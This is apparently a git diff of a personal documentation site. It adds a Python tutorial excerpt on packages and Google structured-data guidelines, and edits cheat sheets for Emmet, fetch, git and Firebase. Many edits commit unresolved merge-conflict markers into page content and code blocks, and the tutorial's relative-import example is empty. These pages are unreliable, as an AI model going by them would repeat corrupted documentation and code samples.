+The `__init__.py` files are required to make Python treat directories containing the file as packages. This prevents directories with a common name, such as `string`, unintentionally hiding valid modules that occur later on the module search path. In the simplest case, `__init__.py` can just be an empty file, but it can also execute initialization code for the package or set the `__all__` variable, described later.
+
+Users of the package can import individual modules from the package, for example:
+
+```
+import sound.effects.echo
+```
+
+This loads the submodule `sound.effects.echo`. It must be referenced with its full name.
+
+```
+sound.effects.echo.echofilter(input, output, delay=0.7, atten=4)
+```
+
+An alternative way of importing the submodule is:
+
+```
+from sound.effects import echo
+```
+
+This also loads the submodule `echo`, and makes it available without its package prefix, so it can be used as follows:
+
+```
+echo.echofilter(input, output, delay=0.7, atten=4)
+```
+
+Yet another variation is to import the desired function or variable directly:
+
+```
+from sound.effects.echo import echofilter
+```
+
+Again, this loads the submodule `echo`, but this makes its function `echofilter()` directly available:
+
+```
+echofilter(input, output, delay=0.7, atten=4)
+```
+
+Note that when using `from package import item`, the item can be either a submodule (or subpackage) of the package, or some other name defined in the package, like a function, class or variable. The `import` statement first tests whether the item is defined in the package; if not, it assumes it is a module and attempts to load it. If it fails to find it, an [`ImportError`](https://docs.python.org/3/library/exceptions.html#ImportError 'ImportError') exception is raised.
+
+Contrarily, when using syntax like `import item.subitem.subsubitem`, each item except for the last must be a package; the last item can be a module or a package but can’t be a class or function or variable defined in the previous item.
+
+### 6.4.1. Importing \* From a Package[¶](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/modules.html#importing-from-a-package 'Permalink to this headline')
+
+Now what happens when the user writes `from sound.effects import *`? Ideally, one would hope that this somehow goes out to the filesystem, finds which submodules are present in the package, and imports them all. This could take a long time and importing sub-modules might have unwanted side-effects that should only happen when the sub-module is explicitly imported.
+
+The only solution is for the package author to provide an explicit index of the package. The [`import`](https://docs.python.org/3/reference/simple_stmts.html#import) statement uses the following convention: if a package’s `__init__.py` code defines a list named `__all__`, it is taken to be the list of module names that should be imported when `from package import *` is encountered. It is up to the package author to keep this list up-to-date when a new version of the package is released. Package authors may also decide not to support it, if they don’t see a use for importing \* from their package. For example, the file `sound/effects/__init__.py` could contain the following code:
+
+```
+__all__ = ["echo", "surround", "reverse"]
+```
+
+This would mean that `from sound.effects import *` would import the three named submodules of the `sound` package.
+
+If `__all__` is not defined, the statement `from sound.effects import *` does *not* import all submodules from the package `sound.effects` into the current namespace; it only ensures that the package `sound.effects` has been imported (possibly running any initialization code in `__init__.py`) and then imports whatever names are defined in the package. This includes any names defined (and submodules explicitly loaded) by `__init__.py`. It also includes any submodules of the package that were explicitly loaded by previous [`import`](https://docs.python.org/3/reference/simple_stmts.html#import) statements. Consider this code:
+
+```
+import sound.effects.echo
+import sound.effects.surround
+from sound.effects import *
+```
+
+In this example, the `echo` and `surround` modules are imported in the current namespace because they are defined in the `sound.effects` package when the `from...import` statement is executed. (This also works when `__all__` is defined.)
+
+Although certain modules are designed to export only names that follow certain patterns when you use `import *`, it is still considered bad practice in production code.
+
+Remember, there is nothing wrong with using `from package import specific_submodule`! In fact, this is the recommended notation unless the importing module needs to use submodules with the same name from different packages.
+
+### 6.4.2. Intra-package References[¶](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/modules.html#intra-package-references 'Permalink to this headline')
+
+When packages are structured into subpackages (as with the `sound` package in the example), you can use absolute imports to refer to submodules of siblings packages. For example, if the module `sound.filters.vocoder` needs to use the `echo` module in the `sound.effects` package, it can use `from sound.effects import echo`.
+
+You can also write relative imports, with the `from module import name` form of import statement. These imports use leading dots to indicate the current and parent packages involved in the relative import. From the `surround` module for example, you might use:
+
+```
+
+```
+
+Note that relative imports are based on the name of the current module. Since the name of the main module is always `"__main__"`, modules intended for use as the main module of a Python application must always use absolute imports.
+
+### 6.4.3. Packages in Multiple Directories[¶](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/modules.html#packages-in-multiple-directories 'Permalink to this headline')
+
+Packages support one more special attribute, [`path`](https://docs.python.org/3/reference/import.html#__path__ '__path__'). This is initialized to be a list containing the name of the directory holding the package’s `__init__.py` before the code in that file is executed. This variable can be modified; doing so affects future searches for modules and subpackages contained in the package.
+
+While this feature is not often needed, it can be used to extend the set of modules found in a package.
+
+Footnotes
+
+[1](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/modules.html#id1)\
+In fact function definitions are also ‘statements’ that are ‘executed’; the execution of a module-level function definition enters the function name in the module’s global symbol table.
+
+### [Table of Contents](https://docs.python.org/3/contents.html)
+
+-   [6. Modules](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/modules.html#)
+
+    -   [6.1. More on Modules](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/modules.html#more-on-modules)
+
+        -   [6.1.1. Executing modules as scripts](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/modules.html#executing-modules-as-scripts)
+        -   [6.1.2. The Module Search Path](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/modules.html#the-module-search-path)
+        -   [6.1.3. “Compiled” Python files](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/modules.html#compiled-python-files)
+
+    -   [6.2. Standard Modules](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/modules.html#standard-modules)
+    -   [6.3. The `dir()` Function](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/modules.html#the-dir-function)
+    -   [6.4. Packages](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/modules.html#packages)
+
+        -   [6.4.1. Importing \* From a Package](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/modules.html#importing-from-a-package)
+        -   [6.4.2. Intra-package References](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/modules.html#intra-package-references)
+        -   [6.4.3. Packages in Multiple Directories](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/modules.html#packages-in-multiple-directories)
+
+#### Previous topic
+
+[5. Data Structures](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/datastructures.html 'previous chapter')
+
+#### Next topic
+
+[7. Input and Output](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/inputoutput.html 'next chapter')
+
+### This Page
+
+-   [Report a Bug](https://docs.python.org/3/bugs.html)
+-   [Show Source](https://github.com/python/cpython/blob/3.9/Doc/tutorial/modules.rst)
+
+### Navigation
+
+-   [index](https://docs.python.org/3/genindex.html 'General Index')
+-   [modules](https://docs.python.org/3/py-modindex.html 'Python Module Index') |
+-   [next](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/inputoutput.html '7. Input and Output') |
+-   [previous](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/datastructures.html '5. Data Structures') |
+-   ![](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/_static/py.png)
+-   [Python](https://www.python.org/) »
+-   [3.9.5 Documentation](https://docs.python.org/3/index.html) »
+-   [The Python Tutorial](https://bgoonz-docs-collection-69gqwqgppf5gg9-5500.githubpreview.dev/python/tutorial/index.html) »
+-
diff --git a/src/pages/docs/quick-ref/Emmet.md b/src/pages/docs/quick-ref/Emmet.md
index 5b570f0034..2be6d5e6f4 100644
--- a/src/pages/docs/quick-ref/Emmet.md
+++ b/src/pages/docs/quick-ref/Emmet.md
@@ -47,8 +47,13 @@ Normally, installation for Emmet should be a straight-forward process from the p
 
 You can use Emmet in two ways:
 
+<<<<<<< HEAD
 - <span id="856f">Tab Expand Way: Type your emmet code and press `Tab` key</span>
 - <span id="9aea">Interactive Method: Press `alt + ctrl + Enter` and start typing your expressions. This should automatically generate HTML snippets on the fly.</span>
+=======
+-   <span id="856f">Tab Expand Way: Type your emmet code and press `Tab` key</span>
+-   <span id="9aea">Interactive Method: Press `alt + ctrl + Enter` and start typing your expressions. This should automatically generate HTML snippets on the fly.</span>
+>>>>>>> master
 
 **This cheatsheet will assume that you press**`Tab`**after each expressions.**
 
@@ -81,7 +86,13 @@ Child items are created using `>`
 
     <ul>
       <li>
+<<<<<<< HEAD
         <p></p>
+=======
+        <p>
+
+</p>
+>>>>>>> master
       </li>
     </ul>
 
@@ -92,7 +103,13 @@ Sibling items are created using `+`
 `html>head+body`
 
     <html>
+<<<<<<< HEAD
     <head></head>
+=======
+    <head>
+
+</head>
+>>>>>>> master
     <body>
 
     </body>
@@ -105,11 +122,25 @@ Items can be multiplied by `*`
 `ul>li*5`
 
     <ul>
+<<<<<<< HEAD
       <li></li>
       <li></li>
       <li></li>
       <li></li>
       <li></li>
+=======
+      <li>
+
+</li>
+      <li>
+</li>
+      <li>
+</li>
+      <li>
+</li>
+      <li>
+</li>
+>>>>>>> master
     </ul>
 
 ### Grouping
@@ -120,6 +151,7 @@ Items can be grouped together using `()`
 
     <table>
       <tr>
+<<<<<<< HEAD
         <th></th>
         <th></th>
         <th></th>
@@ -132,6 +164,31 @@ Items can be grouped together using `()`
         <t></t>
         <t></t>
         <t></t>
+=======
+        <th>
+
+</th>
+        <th>
+</th>
+        <th>
+</th>
+        <th>
+</th>
+        <th>
+</th>
+      </tr>
+      <tr>
+        <t>
+</t>
+        <t>
+</t>
+        <t>
+</t>
+        <t>
+</t>
+        <t>
+</t>
+>>>>>>> master
       </tr>
     </table>
 
@@ -141,17 +198,35 @@ Class and Id in Emmet can be done using `.` and `#`
 
 `div.heading`
 
+<<<<<<< HEAD
     <div class="heading"></div>
 
 `div#heading`
 
     <div id="heading"></div>
+=======
+    <div class="heading">
+
+</div>
+
+`div#heading`
+
+    <div id="heading">
+
+</div>
+>>>>>>> master
 
 ID and Class can also be combined together
 
 `div#heading.center`
 
+<<<<<<< HEAD
     <div id="heading" class="center"></div>
+=======
+    <div id="heading" class="center">
+
+</div>
+>>>>>>> master
 
 ### Adding Content inside tags
 
@@ -170,7 +245,13 @@ Attributes can be added using `[]`
 
 `a[href=https://?google.com data-toggle=something target=_blank]`
 
+<<<<<<< HEAD
     <a href="https://?google.com" data-toggle="something" target="_blank"></a>
+=======
+    <a href="https://?google.com" data-toggle="something" target="_blank">
+
+</a>
+>>>>>>> master
 
 ### Numbering
 
@@ -209,7 +290,11 @@ To start the numbering from specific number, use this way
 
 ### Tips
 
+<<<<<<< HEAD
 - <span id="b708">Use `:` to expand known abbreviations</span>
+=======
+-   <span id="b708">Use `:` to expand known abbreviations</span>
+>>>>>>> master
 
 `input:date`
 
@@ -217,21 +302,45 @@ To start the numbering from specific number, use this way
 
 `form:post`
 
+<<<<<<< HEAD
     <form action="" method="post"></form>
+=======
+    <form action="" method="post">
+
+</form>
+>>>>>>> master
 
 `link:css`
 
     <link rel="stylesheet" href="style.css">
 
+<<<<<<< HEAD
 - <span id="d43e">Building Navbar</span>
+=======
+-   <span id="d43e">Building Navbar</span>
+>>>>>>> master
 
 `.navbar>ul>li*3>a[href=#]{Item $@-}`
 
     <div class="navbar">
       <ul>
+<<<<<<< HEAD
         <li><a href="#">Item 3</a></li>
         <li><a href="#">Item 2</a></li>
         <li><a href="#">Item 1</a></li>
+=======
+        <li>
+
+<a href="#">Item 3</a>
+
+</li>
+        <li>
+<a href="#">Item 2</a>
+</li>
+        <li>
+<a href="#">Item 1</a>
+</li>
+>>>>>>> master
       </ul>
     </div>
 
@@ -239,7 +348,11 @@ To start the numbering from specific number, use this way
 
 Emmet works surprisingly well with css as well.
 
+<<<<<<< HEAD
 - <span id="68eb">`f:l`</span>
+=======
+-   <span id="68eb">`f:l`</span>
+>>>>>>> master
 
 <!-- -->
 
@@ -247,7 +360,11 @@ Emmet works surprisingly well with css as well.
 
 You can also use any options n/r/l
 
+<<<<<<< HEAD
 - <span id="d9cc">`pos:a­`</span>
+=======
+-   <span id="d9cc">`pos:a­`</span>
+>>>>>>> master
 
 <!-- -->
 
@@ -255,19 +372,31 @@ You can also use any options n/r/l
 
 Also use any options, pos:a/r/f
 
+<<<<<<< HEAD
 - <span id="5b67">`d:n/b­/f/­i/ib`</span>
+=======
+-   <span id="5b67">`d:n/b­/f/­i/ib`</span>
+>>>>>>> master
 
 `d:ib`
 
     display: inline-block;
 
+<<<<<<< HEAD
 - <span id="26f6">You can use `m` for margin and `p` for padding followed by direction</span>
+=======
+-   <span id="26f6">You can use `m` for margin and `p` for padding followed by direction</span>
+>>>>>>> master
 
 `mr` -&gt; `margin-right`
 
 `pr` -&gt; `padding-right`
 
+<<<<<<< HEAD
 - <span id="01cc">`@f` will result in</span>
+=======
+-   <span id="01cc">`@f` will result in</span>
+>>>>>>> master
 
 <!-- -->
 
@@ -278,6 +407,7 @@ Also use any options, pos:a/r/f
 
 You can also use these shorthands
 
+<<<<<<< HEAD
 <figure><img src="https://cdn-images-1.medium.com/max/800/1*h8hsUrJNyVRLYqBQP63DCA.png" class="graf-image" /></figure>#### If you found this guide helpful feel free to checkout my github/gists where I host similar content:
 
 <a href="https://gist.github.com/bgoonz" class="markup--anchor markup--p-anchor">bgoonz's gists · GitHub</a>
@@ -289,9 +419,36 @@ Or Checkout my personal Resource Site:
 
 <a href="https://goofy-euclid-1cd736.netlify.app/" class="markup--anchor markup--mixtapeEmbed-anchor" title="https://goofy-euclid-1cd736.netlify.app/"><strong>a/A-Student-Resources</strong><br />
 <em>Edit description</em>goofy-euclid-1cd736.netlify.app</a><a href="https://goofy-euclid-1cd736.netlify.app/" class="js-mixtapeImage mixtapeImage u-ignoreBlock"></a>
+=======
+<figure>
+<img src="https://cdn-images-1.medium.com/max/800/1*h8hsUrJNyVRLYqBQP63DCA.png" class="graf-image" />
+</figure>#### If you found this guide helpful feel free to checkout my github/gists where I host similar content:
+
+<a href="https://gist.github.com/bgoonz" class="markup--anchor markup--p-anchor">bgoonz's gists · GitHub</a>
+
+<a href="https://github.com/bgoonz" class="markup--anchor markup--mixtapeEmbed-anchor" title="https://github.com/bgoonz">
+<strong>bgoonz — Overview</strong>
+<br />
+<em>Web Developer, Electrical Engineer JavaScript | CSS | Bootstrap | Python | React | Node.js | Express | Sequelize…</em>github.com</a>
+<a href="https://github.com/bgoonz" class="js-mixtapeImage mixtapeImage u-ignoreBlock">
+</a>
+
+Or Checkout my personal Resource Site:
+
+<a href="https://bgoonzblog20master.gtsb.io/docs/sitemap" class="markup--anchor markup--mixtapeEmbed-anchor" title="https://bgoonzblog20master.gtsb.io/docs/sitemap">
+<strong>a/A-Student-Resources</strong>
+<br />
+<em>Edit description</em>goofy-euclid-1cd736.netlify.app</a>
+<a href="https://bgoonzblog20master.gtsb.io/docs/sitemap" class="js-mixtapeImage mixtapeImage u-ignoreBlock">
+</a>
+>>>>>>> master
 
 By <a href="https://medium.com/@bryanguner" class="p-author h-card">Bryan Guner</a> on [March 6, 2021](https://medium.com/p/24758e628d37).
 
 <a href="https://medium.com/@bryanguner/emmet-cheat-sheet-24758e628d37" class="p-canonical">Canonical link</a>
 
+<<<<<<< HEAD
  May 23, 2021.
+=======
+May 23, 2021.
+>>>>>>> master
diff --git a/src/pages/docs/quick-ref/all-emojis.md b/src/pages/docs/quick-ref/all-emojis.md
index d5bf3117ab..f27bbcfbfc 100644
--- a/src/pages/docs/quick-ref/all-emojis.md
+++ b/src/pages/docs/quick-ref/all-emojis.md
@@ -10,6 +10,10 @@ seo:
 template: docs
 ---
 
+<<<<<<< HEAD
+=======
+
+>>>>>>> master
 ## All Emojis
 
 😀 😃 😄 😁 😆 😅 😂 🤣 🥲 ☺️ 😊 😇 🙂 🙃 😉 😌 😍 🥰 😘 😗 😙 😚 😋 😛 😝 😜 🤪 🤨 🧐 🤓 😎 🥸 🤩 🥳 😏 😒 😞 😔 😟 😕 🙁 ☹️ 😣 😖 😫 😩 🥺 😢 😭 😤 😠 😡 🤬 🤯 😳 🥵 🥶 😱 😨 😰 😥 😓 🤗 🤔 🤭 🤫 🤥 😶 😐 😑 😬 🙄 😯 😦 😧 😮 😲 🥱 😴 🤤 😪 😵 🤐 🥴 🤢 🤮 🤧 😷 🤒 🤕 🤑 🤠 😈 👿 👹 👺 🤡 💩 👻 💀 ☠️ 👽 👾 🤖 🎃 😺 😸 😹 😻 😼 😽 🙀 😿 😾
diff --git a/src/pages/docs/quick-ref/create-react-app.md b/src/pages/docs/quick-ref/create-react-app.md
index 9a4c7ac08e..6e0a5e340c 100644
--- a/src/pages/docs/quick-ref/create-react-app.md
+++ b/src/pages/docs/quick-ref/create-react-app.md
@@ -10,6 +10,10 @@ seo:
 template: docs
 ---
 
+<<<<<<< HEAD
+=======
+
+>>>>>>> master
 # Getting Started with Create React App
 
 This project was bootstrapped with [Create React App](https://github.com/facebook/create-react-app).
diff --git a/src/pages/docs/quick-ref/fetch.md b/src/pages/docs/quick-ref/fetch.md
index 02a95837d3..d6c8ef20b0 100644
--- a/src/pages/docs/quick-ref/fetch.md
+++ b/src/pages/docs/quick-ref/fetch.md
@@ -13,6 +13,10 @@ template: docs
 
 
 
+<<<<<<< HEAD
+=======
+
+>>>>>>> master
 <details>
 
 <summary> Description</summary>   
@@ -33,6 +37,10 @@ The `fetch` specification differs from `jQuery.ajax()` in the following signific
 A basic fetch request is really simple to set up. Have a look at the following code:
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 fetch('http://example.com/movies.json')
   .then(response => response.json())
   .then(data => console.log(data));
@@ -53,6 +61,10 @@ The `fetch()` method can optionally accept a second parameter, an `init` object
 See [`fetch()`](https://developer.mozilla.org/en-US/docs/Web/API/fetch) for the full options available, and more details.
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 js
 // Example POST method implementation:
 async function postData(url = '', data = {}) {
@@ -91,6 +103,10 @@ Note that `mode: "no-cors"` only allows a limited set of headers in the request:
 To cause browsers to send a request with credentials included on both same-origin and cross-origin calls, add `credentials: 'include'` to the `init` object you pass to the `fetch()` method.
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 fetch('https://example.com', {
   credentials: 'include'
@@ -104,6 +120,10 @@ fetch('https://example.com', {
 If you only want to send credentials if the request URL is on the same origin as the calling script, add `credentials: 'same-origin'`.
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 // The calling script is on the origin 'https://example.com'
 
@@ -115,6 +135,10 @@ fetch('https://example.com', {
 To instead ensure browsers don't include credentials in the request, use `credentials: 'omit'`.
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 fetch('https://example.com', {
   credentials: 'omit'
@@ -126,6 +150,10 @@ fetch('https://example.com', {
 Use [`fetch()`](https://developer.mozilla.org/en-US/docs/Web/API/fetch) to POST JSON-encoded data.
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 const data = { username: 'example' };
 
@@ -150,6 +178,10 @@ fetch('https://example.com/profile', {
 Files can be uploaded using an HTML `<input type="file" />` input element, [`FormData()`](https://developer.mozilla.org/en-US/docs/Web/API/FormData/FormData "FormData()") and [`fetch()`](https://developer.mozilla.org/en-US/docs/Web/API/fetch).
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 const formData = new FormData();
 const fileField = document.querySelector('input[type="file"]');
@@ -175,6 +207,10 @@ fetch('https://example.com/profile/avatar', {
 Files can be uploaded using an HTML `<input type="file" multiple />` input element, [`FormData()`](https://developer.mozilla.org/en-US/docs/Web/API/FormData/FormData "FormData()") and [`fetch()`](https://developer.mozilla.org/en-US/docs/Web/API/fetch).
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 const formData = new FormData();
 const photos = document.querySelector('input[type="file"][multiple]');
@@ -202,6 +238,10 @@ fetch('https://example.com/posts', {
 The chunks that are read from a response are not broken neatly at line boundaries and are Uint8Arrays, not strings. If you want to fetch a text file and process it line by line, it is up to you to handle these complications. The following example shows one way to do this by creating a line iterator (for simplicity, it assumes the text is UTF-8, and doesn't handle fetch errors).
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 
 async function* makeTextFileLineIterator(fileURL) {
   const utf8Decoder = new TextDecoder('utf-8');
@@ -371,44 +411,80 @@ Since headers can be sent in requests and received in responses, and have variou
 # Fetch
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 fetch('/data.json')  .then(response => response.json())  .then(data => {    console.log(data)  })  .catch(err => ...)
 ```
 
 ### Response
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 fetch('/data.json').then(res => {  res.text()       // response body (=> Promise)  res.json()       // parse via JSON (=> Promise)  res.status       //=> 200  res.statusText   //=> 'OK'  res.redirected   //=> false  res.ok           //=> true  res.url          //=> 'http://site.com/data.json'  res.type         //=> 'basic'                   //   ('cors' 'default' 'error'                   //    'opaque' 'opaqueredirect')
 ```
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
   res.headers.get('Content-Type')})
 ```
 
 ### Request options
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 fetch('/data.json', {  method: 'post',  body: new FormData(form), // post body  body: JSON.stringify(...),
 ```
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
   headers: {    'Accept': 'application/json'  },
 ```
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
   credentials: 'same-origin', // send cookies  credentials: 'include',     // send cookies, even in CORS
 ```
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 })
 ```
 
 ### Catching errors
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 fetch('/data.json')  .then(checkStatus)
 ```
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 function checkStatus (res) {  if (res.status >= 200 && res.status < 300) {    return res  } else {    let err = new Error(res.statusText)    err.response = res    throw err  }}
 ```
 
@@ -417,6 +493,10 @@ Non-2xx responses are still successful requests. Use another function to turn th
 ### Using with node.js
 
 ```js
+<<<<<<< HEAD
+=======
+//
+>>>>>>> master
 const fetch = require('isomorphic-fetch')
 ```
 
diff --git a/src/pages/docs/quick-ref/general-structured-data-guidelines/index.md b/src/pages/docs/quick-ref/general-structured-data-guidelines/index.md
new file mode 100644
index 0000000000..625225e67a
--- /dev/null
+++ b/src/pages/docs/quick-ref/general-structured-data-guidelines/index.md
@@ -0,0 +1,77 @@
+---
+title: General structured data guidelines
+template: docs
+excerpt: "Google guidelines "
+---
+
+
+# General structured data guidelines
+
+These are the general guidelines that apply to all structured data. These guidelines must be followed to enable structured data to be eligible for inclusion in Google Search results. Pages or sites that violate these content guidelines may receive less favorable ranking or be marked as ineligible for rich results in Google Search in order to maintain a high-quality search experience for our users. If we find that your page contains spammy structured data or content, we will apply a manual action to your page. To check if you have a manual action, open the [Manual Actions report in Search Console](https://search.google.com/search-console/manual-actions).
+
+**Important: Google does not guarantee that your structured data will show up in search results,** even if your page is marked up correctly according to the [Rich Results Test](https://search.google.com/test/rich-results). Here are some common reasons why:
+
+- Using structured data *enables* a feature to be present, it does not *guarantee* that it will be present. The Google algorithm tailors search results to create what it thinks is the best search experience for a user, depending on many variables, including search history, location, and device type. In some cases it may determine that one feature is more appropriate than another, or even that a plain blue link is best.
+- The structured data is not representative of the main content of the page, or is potentially misleading.
+- The structured data is incorrect in a way that the Rich Results Test was not able to catch.
+- The content referred to by the structured data is hidden from the user.
+- The page does not meet the guidelines for structured data described here, the type-specific guidelines, or the [general webmaster guidelines](https://developers.google.com/search/docs/advanced/guidelines/webmaster-guidelines).
+
+## Technical guidelines
+
+You can test compliance with technical guidelines using the [Rich Results Test](https://search.google.com/test/rich-results) and the [URL Inspection tool](https://support.google.com/webmasters/answer/9012289), which catch most technical errors.
+
+### Format
+
+In order to be eligible for rich results, mark up your site's pages using one of [three supported formats](https://developers.google.com/search/docs/advanced/structured-data/intro-structured-data#structured-data-format):
+
+- JSON-LD (recommended)
+- Microdata
+- RDFa
+
+### Access
+
+Do not block your structured data pages to Googlebot using robots.txt, the `noindex` tag, or any other access control methods.
+
+## []()Quality guidelines
+
+These guidelines are not easily testable using an automated tool. Violating a quality guideline can prevent syntactically correct structured data from being displayed as a rich result in Google Search, or possibly cause it to be [marked as spam](https://support.google.com/webmasters/answer/3498001).
+
+### Content
+
+- Follow the [Google webmasters quality guidelines](https://developers.google.com/search/docs/advanced/guidelines/webmaster-guidelines#quality_guidelines).
+- Provide up-to-date information. We won't show a rich result for time-sensitive content that is no longer relevant.
+- Provide original content that you or your users have generated.
+- **Don't** mark up content that is not visible to readers of the page. For example, if the JSON-LD markup describes a performer, the HTML body must describe that same performer.
+- **Don't** mark up irrelevant or misleading content, such as fake reviews or content unrelated to the focus of a page.
+- **Don't** use structured data to deceive or mislead users. Don't impersonate any person or organization, or misrepresent your ownership, affiliation, or primary purpose.
+- Content must not promote pedophilia, bestiality, sexual violence, violent or cruel acts, targeted hatred, or dangerous activities.
+- **Don't** mark up content that engages in illegal activities or promotes goods, services, or information that facilitates serious and immediate harm to others. Marking up content that provides information about such content for educational purposes is permitted.
+- Content in structured data must also follow the additional content guidelines or policies, as documented in the specific feature guide. For example, content in `JobPosting` structured data must follow the [job posting content policies](https://developers.google.com/search/docs/advanced/structured-data/job-posting#content-policies). Content in Practice problems structured data must follow the [Practice problems content guidelines](https://developers.google.com/search/docs/advanced/structured-data/practice-problems#content-guidelines).
+
+### Relevance
+
+Your structured data must be a true representation of the page content. Here are some examples of irrelevant data:
+
+- A sports live streaming site labeling broadcasts as local events.
+- A woodworking site labeling instructions as recipes.
+
+### Completeness
+
+- Specify all required properties listed in the [documentation for your specific rich result type](https://developers.google.com/search/docs/guides/search-gallery). Items that are missing required properties are not eligible for rich results.
+- The more recommended properties that you provide, the higher quality the result is to users. For example: users prefer job postings with explicitly stated salaries than those without; users prefer recipes with actual user reviews and genuine star ratings (note that reviews or ratings not by actual users are considered[spammy](https://developers.google.com/search/docs/guides/prototype#self-review)). Rich result ranking takes extra information into consideration.
+
+### Location
+
+- Put the structured data on the page that it describes, unless specified otherwise by the documentation.
+- If you have duplicate pages for the same content, we recommend placing the same structured data on all page duplicates, not just on the canonical page.
+
+### Specificity
+
+- Try to use the most specific applicable type and property names defined by schema.org for your markup.
+- Follow all additional guidelines given in the [documentation for your specific rich result type](https://developers.google.com/search/docs/guides/search-gallery).
+
+### Images
+
+- When specifying an image as a structured data property, make sure that the image is relevant to the page that it's on. For example, if you define the `image` property of `NewsArticle`, the image must be relevant to that news article.
+- All image URLs must be crawlable and indexable. Otherwise, Google Search can't find and display them on the search results page. To check if Google can access your URLs, use the [URL Inspection tool](https://support.google.com/webmasters/answer/9012289).
diff --git a/src/pages/docs/quick-ref/git-bash.md b/src/pages/docs/quick-ref/git-bash.md
index b92b0e152e..4d1e0d2fd9 100644
--- a/src/pages/docs/quick-ref/git-bash.md
+++ b/src/pages/docs/quick-ref/git-bash.md
@@ -10,6 +10,10 @@ seo:
 template: docs
 ---
 
+<<<<<<< HEAD
+=======
+
+>>>>>>> master
 # Git Bash‌‌‌‌‌‌‌‌‌‌‌‌‌‌‌&#xA;&#xA;
 
 At its core, Git is a set of command line utility programs that are designed to execute on a Unix style command-line environment. Modern operating systems like Linux and macOS both include built-in Unix command line terminals. This makes Linux and macOS complementary operating systems when working with Git. Microsoft Windows instead uses Windows command prompt, a non-Unix terminal environment.
diff --git a/src/pages/docs/quick-ref/git-tricks.md b/src/pages/docs/quick-ref/git-tricks.md
index 023520605d..2c8b59f11c 100644
--- a/src/pages/docs/quick-ref/git-tricks.md
+++ b/src/pages/docs/quick-ref/git-tricks.md
@@ -10,6 +10,10 @@ seo:
 template: docs
 ---
 
+<<<<<<< HEAD
+=======
+
+>>>>>>> master
 ## Useful config [🔗](https://w3c.github.io/git.html#config)&#xA;&#xA;
 
 - branch.autosetuprebase=always ([documentation](https://git-scm.com/docs/git-config#git-config-branchautoSetupRebase)): I find it easier to work with Git this way
diff --git a/src/pages/docs/quick-ref/google-firebase.md b/src/pages/docs/quick-ref/google-firebase.md
index 9edbf10878..ff391e93fe 100644
--- a/src/pages/docs/quick-ref/google-firebase.md
+++ b/src/pages/docs/quick-ref/google-firebase.md
@@ -10,6 +10,10 @@ seo:
 template: docs
 ---
 
+<<<<<<< HEAD
+=======
+
+>>>>>>> master
 Add Firebase to your JavaScript project **Note:** Upgrading from the version 8 Firebase SDK? Check out our [upgrade guide](https://firebase.google.com/docs/web/modular-upgrade).[#### **Create a Firebase project** ]()**Note:** Using the v9 SDK is strongly recommended, especially for production apps. If you need support for other SDK management options, like **window.firebase**, see [Upgrade from version 8 to the modular Web SDK](https://firebase.google.com/docs/web/modular-upgrade#window-compat).**Note:** You can skip this step if you are using a JavaScript framework CLI tool like the [Angular CLI](https://angular.io/cli), [Next.js](https://nextjs.org/), [Vue CLI](https://cli.vuejs.org/), or [Create React App](https://reactjs.org/docs/create-a-new-react-app.html). Check out [our guide on module bundling](https://firebase.google.com/docs/web/module-bundling) for more information.
 
 Follow this guide to use the Firebase JavaScript SDK in your web app or as a client for end-user access, for example, in a Node.js desktop or IoT application.
diff --git a/src/pages/docs/quick-ref/google-sheets-api.md b/src/pages/docs/quick-ref/google-sheets-api.md
new file mode 100644
index 0000000000..cb3449438c
--- /dev/null
+++ b/src/pages/docs/quick-ref/google-sheets-api.md
@@ -0,0 +1,102 @@
+---
+title: google-sheets-api
+weight: 0
